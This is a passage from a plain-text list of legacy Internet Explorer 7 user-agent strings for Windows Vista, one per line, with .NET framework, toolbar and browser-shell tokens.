.NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.30729; MS-RTC LM 8; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618; Lunascape 5.1.5.19059)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618; TheWorld)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; MS-RTC LM 8; .NET CLR 3.5.30729; .NET CLR 3.0.30618; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; Zango 10.3.37.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; MS-RTC LM 8; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.0.04506; Tablet PC 2.0; Zango 10.3.65.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.30729; InfoPath.2; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506) Sleipnir/2.6.1\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322; InfoPath.2; Zango 10.3.75.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322; Tablet PC 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322; Windows-Media-Player/10.00.00.3990)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322; Zango 10.3.37.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322; Zango 10.3.65.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 3.5.21022; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; Alexa Toolbar; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; FDM; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; FDM; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.1) Sleipnir/2.5.17\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.1; MS-RTC LM 8; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.1; Windows-Media-Player/10.00.00.3990)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.2; .NET CLR 3.5.21022; Tablet PC 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.2; Seekmo 10.0.341.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; Lunascape 5.0.5.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; MEGAUPLOAD 2.0; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; OfficeLiveConnector.1.3; OfficeLivePatch.1.3; Lunascape 5.0.5.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; OfficeLiveConnector.1.3; OfficeLivePatch.1.3; Lunascape 5.1.4.5)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; PeoplePal 3.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; Seekmo 10.0.406.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; Tablet PC 2.0; InfoPath.2; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; Zango 10.0.370.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; Zango 10.3.70.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618; .NET CLR 3.5.30628)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618; .NET CLR 3.5.30729; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618; .NET CLR 3.5.30729; Tablet PC 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618; InfoPath.2; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; InfoPath.2; MS-RTC LM 8; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; Lunascape 5.0.5.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; yie8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.21022; MS-RTC LM 8; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; Dealio Toolbar 3.4; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; FDM; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; WWTClient2; .NET CLR 3.5.30729; .NET CLR 3.0.30618; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; Tablet PC 2.0; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; Tablet PC 2.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; InfoPath.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.1; .NET CLR 3.5.21022; .NET CLR 3.0.30618; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Zango 10.3.75.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SV1; FunWebProducts; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SV1; InfoPath.1; .NET CLR 1.1.4322; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SV1; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SV1; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SV1; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SV1; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618; MSN Optimized;US)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SV1; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; Sleipnir/2.8.5)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SV1; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; TencentTraveler 4.0; QQDownload 667; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; (R1 1.6); SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; Avant Browser; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; Avant Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 3.5.21022; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; Avant Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB0.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322; .NET CLR 3.5.21022; .NET CLR 3.5.30\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB5; QQDownload 667; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB5; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB5; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30618; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB5; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB5; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Lunascape 5.0.5.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB6.3; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Avant Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB6.3; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB6.4; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.1.4322; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB6.4; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB6.5; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Lunascape 6.2.0.22177)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB6.6; KKMAN3.2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30729; .NET CLR 3.5.30729; .NET CLR 1.1.4322; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB6.6; KKman3.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB6.6; KKman3.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB6.6; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Lunascape 5.1.2.3)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; Sleipnir/2.8.5)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.0.30729; Lunascape 5.0.4.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET CLR 3.0.30729; Lunascape 5.1.3.4)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.1; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB7.3; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET4.0C; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; MathPlayer 2.10d; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; OfficeLiveConnector.1.3; OfficeLivePatch.1.3; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET CLR 1.1.4322) Sleipnir/2.8.4\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; Maxthon; SLCC1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; Maxthon; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.21022; .NET CLR 3.0.30618; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) )\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Avant Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 3.5.21022; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; InfoPath.2; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; InfoPath.2; msn OptimizedIE8;ENUS)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30618; .NET CLR 3.5.30729; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; FDM; Sleipnir/2.8.5)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; GreenBrowser)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; Lunascape 6.2.0.22177)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; InfoPath.2; .NET CLR 3.0.30729; GreenBrowser)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.0.30729; .NET CLR 3.5.30729; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; Alexa Toolbar; MEGAUPLOAD 1.0; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.0.30729; msn OptimizedIE8;ZHHK)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.21022; .NET CLR 3.0.30618; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; OfficeLiveConnector.1.3; OfficeLivePatch.1.3) Sleipnir/2.8.4\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.20706; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 3.0.30618; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 3.5.30729; InfoPath.2; .NET CLR 3.0.30729; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; GreenBrowser)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Sleipnir/2.8.5)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET CLR 3.0.30729; Sleipnir/2.8.5)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; FDM; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; 